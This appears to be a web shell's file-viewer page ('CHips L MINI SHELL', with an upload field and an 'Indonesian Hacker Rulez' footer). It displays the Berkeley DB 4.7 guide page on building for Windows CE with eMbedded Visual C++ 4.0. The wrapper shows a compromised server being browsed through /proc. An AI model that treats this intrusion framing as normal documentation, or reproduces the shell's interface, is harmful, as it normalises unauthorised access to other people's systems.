CHips L MINI SHELL

CHips L pro

Current Path : /proc/2/root/usr/share/doc/db4-devel-4.7.25/ref/build_wince/
Upload File :
Current File : //proc/2/root/usr/share/doc/db4-devel-4.7.25/ref/build_wince/intro.html

<!--$Id: intro.so,v 1.3 2008/05/05 05:22:43 alexg Exp $-->
<!--Copyright (c) 1997,2008 Oracle.  All rights reserved.-->
<!--See the file LICENSE for redistribution information.-->
<html>
<head>
<title>Berkeley DB Reference Guide: Building for Windows CE</title>
<meta name="description" content="Berkeley DB: An embedded database programmatic toolkit.">
<meta name="keywords" content="embedded,database,programmatic,toolkit,btree,hash,hashing,transaction,transactions,locking,logging,access method,access methods,Java,C,C++">
</head>
<body bgcolor=white>
<a name="2"><!--meow--></a>
<table width="100%"><tr valign=top>
<td><b><dl><dt>Berkeley DB Reference Guide:<dd>Building Berkeley DB for Windows CE systems</dl></b></td>
<td align=right><a href="../build_win/faq.html"><img src="../../images/prev.gif" alt="Prev"></a><a href="../toc.html"><img src="../../images/ref.gif" alt="Ref"></a><a href="../build_wince/notes.html"><img src="../../images/next.gif" alt="Next"></a>
</td></tr></table>
<p align=center><b>Building for Windows CE</b></p>
<p>This page contains general instructions on building Berkeley DB for
Windows CE platforms using specific compilers.</p>
<p>The <b>build_wince</b> directory in the Berkeley DB distribution contains
project files for Microsoft eMbedded Visual C++:</p>
<table border=1 align=center>
<tr><th>Project File</th><th>Description</th></tr>
<tr>    <td align=center>Berkeley_DB.vcw</td>    <td align=center>eMbedded Visual C++ 4.0 workspace</td>    </tr>
<tr>    <td align=center>*.vcp</td>    <td align=center>eMbedded Visual C++ 4.0 projects</td>    </tr>
</table>
<p>These project files can be used to build Berkeley DB for the Windows CE platform.</p>
<b>Building Berkeley DB for Windows CE</b>
<h4>eMbedded Visual C++ 4.0</h4>
<ol>
<p><li>Choose <i>File -&gt; Open Workspace...</i>.
Navigate to the <b>build_wince</b> directory, select <b>Berkeley_DB</b>
and click Open.
<p><li>Choose the project configuration from the
<i>Build -&gt; Set Active Configuration...</i> drop-down menu on the
tool bar.  The correct target will usually db_small - Win32 (WCE emulator)
Debug or Release.
<p><li>To build, press F7, or select <i>Build</i> from the drop-down menu on the tool bar.
</ol>
<h4>Build results</h4>
<p>The results of your build will be placed in a subdirectory of
<b>build_windows</b> named after the configuration you chose (for
examples, <b>build_wince\Release</b> or
<b>build_wince\Debug</b>).</p>
<p>When building your application during development, you should normally
link against
<b>build_wince\Debug\libdb_small47sd.lib</b>.  You can
also build using a release version of the Berkeley DB libraries and tools,
which will be placed in
<b>build_windows\Release\libdb_small47s.lib</b>.
You will also need to add the <b>build_wince</b> directory to the list
of include directories of your application's project, or copy the Berkeley DB
include files to a location in your Visual Studio include path.</p>
<b>Building Berkeley DB for different target CPU architectures</b>
<p>There are many possible target CPU architectures for a Windows CE
application.  This section outlines the process required to add a new
target architecture to the project files supplied with Berkeley DB.</p>
<h4>eMbedded Visual C++ 4.0</h4>
<ol>
<p><li>Choose <i>File -&gt; Open Workspace...</i>.
Navigate to the <b>build_wince</b> directory, select <b>Berkeley_DB</b>
and click Open.
<p><li>Choose the <i>Build -&gt; Configurations...</i> menu item.
<p><li>Click the <i>Add...</i> button.
<p><li>Select the desired CPU architecture from the first dropdown box. Select an
existing target to copy the settings from (The corresponding emulator
target is a good choice). Configuration should be either Debug or Release.
Click <i>OK</i>.
<p><li>Choose the <i>Build -&gt; Set Active Configuration...</i> menu
item. Choose the new target then click OK.
<p><li>Select the <i>Project -&gt; Settings...</i> menu item. Under
the C/C++ tab, select the Preprocessor <i>Category</i>. In the
<i>Additional include directories:</i> field add: ".,.."
without the quotes. Click OK.
<p><li>Build as per the instructions in <i>Building Berkeley DB for Windows
CE</i> above.
</ol>
<table width="100%"><tr><td><br></td><td align=right><a href="../build_win/faq.html"><img src="../../images/prev.gif" alt="Prev"></a><a href="../toc.html"><img src="../../images/ref.gif" alt="Ref"></a><a href="../build_wince/notes.html"><img src="../../images/next.gif" alt="Next"></a>
</td></tr></table>
<p><font size=1>Copyright (c) 1996,2008 Oracle.  All rights reserved.</font>
</body>
</html>

Copyright 2K16 - 2K18 Indonesian Hacker Rulez